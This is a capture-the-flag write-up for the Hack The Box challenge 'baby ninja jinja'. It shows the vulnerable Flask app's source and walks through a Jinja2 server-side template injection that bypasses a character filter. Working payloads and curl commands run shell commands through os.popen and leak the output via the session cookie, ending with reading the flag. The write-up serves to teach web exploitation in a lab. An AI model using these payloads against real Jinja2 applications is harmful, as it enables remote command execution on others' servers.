baby ninja jinja
4 minutes to read
We are provided with this web page:
There is an HTML comment on the index.html
that points to a debugging URL (/debug
):
In this /debug
endpoint, the source code is found:
$ curl 157.245.33.77:31650/debug
from flask import Flask, session, render_template, request, Response, render_template_string, g
import functools, sqlite3, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(120)
acc_tmpl = '''{% extends 'index.html' %}
{% block content %}
<h3>baby_ninja joined, total number of rebels: reb_num<br>
{% endblock %}
'''
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect('/tmp/ninjas.db')
db.isolation_level = None
db.row_factory = sqlite3.Row
db.text_factory = (lambda s: s.replace('{{', '').
replace("'", ''').
replace('"', '"').
replace('<', '<').
replace('>', '>')
)
return db
def query_db(query, args=(), one=False):
with app.app_context():
cur = get_db().execute(query, args)
rv = [dict((cur.description[idx][0], str(value)) \
for idx, value in enumerate(row)) for row in cur.fetchall()]
return (rv[0] if rv else None) if one else rv
@app.before_first_request
def init_db():
with app.open_resource('schema.sql', mode='r') as f:
get_db().cursor().executescript(f.read())
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None: db.close()
def rite_of_passage(func):
@functools.wraps(func)
def born2pwn(*args, **kwargs):
name = request.args.get('name', '')
if name:
query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)
report = render_template_string(acc_tmpl.
replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
)
if session.get('leader'):
return report
return render_template('welcome.jinja2')
return func(*args, **kwargs)
return born2pwn
@app.route('/')
@rite_of_passage
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
As it is using Flask as web framework and Jinja2 as template engine, the vulnerability is related to Server-Side Template Injection (SSTI).
The server is filtering some characters to try to prevent SSTI, so these characters cannot be used in the payload:
{{ ' " < >
However, we can still use some bypassing techniques to execute commands without using those characters. Looking at PayloadsAllTheThings, we can find these payloads:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}{% endif %}{% endfor %}
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
So we can enter strings in our payload using more URL query parameters, and we avoid using {{ ... }}
by employing a block {% ... %}
.
We can control some output of the HTML response if our session has a leader
key, so we can add it using SSTI and show the controlled input:
$ curl -siGX GET 157.245.33.77:31650 --data-urlencode 'name={% if session.update({request.args.leader: True}) or True %} asdf {% endif %}' --data-urlencode leader=leader | grep asdf
<h3> asdf joined, total number of rebels: 13<br>
However, since we cannot use {{
, we won’t be able to visualize command outputs. Moreover, the remote instance does not have Internet connection, so reverse shells are not possible.
The session modification might be a hint, because we can actually employ the session dictionary to introduce the output of our commands. For example:
$ curl -siGX GET 157.245.33.77:31650 --data-urlencode 'name={% if session.update({request.args.c: cycler.__init__.__globals__.os.popen(request.args.cmd).read().decode()}) %}{% endif %}' --data-urlencode c=c --data-urlencode cmd=whoami | grep session
Set-Cookie: session=eyJjIjoibm9ib2R5XG4ifQ.Yo1aQQ.Z_2DY8zZX4NhCASvRpQKwdKp6-o; HttpOnly; Path=/
$ echo eyJjIjoibm9ib2R5XG4ifQ | base64 -d
{"c":"nobody\n"
$ curl -siGX GET 157.245.33.77:31650 --data-urlencode 'name={% if session.update({request.args.c: cycler.__init__.__globals__.os.popen(request.args.cmd).read().decode()}) %}{% endif %}' --data-urlencode c=c --data-urlencode cmd=whoami | grep session | awk -F = '{ print $2 }' | awk -F . '{ print $1 }' | base64 -d
{"c":"nobody\n"
Now, we can wrap all this filters into a Bash function to execute commands easily:
$ function exec_cmd() { curl -siGX GET 157.245.33.77:31650 --data-urlencode 'name={% if session.update({request.args.c: cycler.__init__.__globals__.os.popen(request.args.cmd).read().decode()}) %}{% endif %}' --data-urlencode c=c --data-urlencode "cmd=$1" | grep session | awk -F = '{ print $2 }' | awk -F . '{ print $1 }' | base64 -d }>
$ exec_cmd whoami
{"c":"nobody\n"
At this point, we can search for the flag and capture it:
$ exec_cmd ls
{"c":"app.py\nflag_P54ed\nschema.sql\nstatic\ntemplates\n
$ exec_cmd 'cat flag*'
{"c":"HTB{b4by_ninj4s_d0nt_g3t_qu0t3d_0r_c4ughT}\n"
Additionally, I wrote a Python script to automate the command execution and filtering: ssti.py
(detailed explanation here).
$ python3 ssti.py 157.245.33.77:31650
$ whoami
nobody
$ ls
app.py
flag_P54ed
schema.sql
static
templates
$ cat flag_P54ed
HTB{b4by_ninj4s_d0nt_g3t_qu0t3d_0r_c4ughT}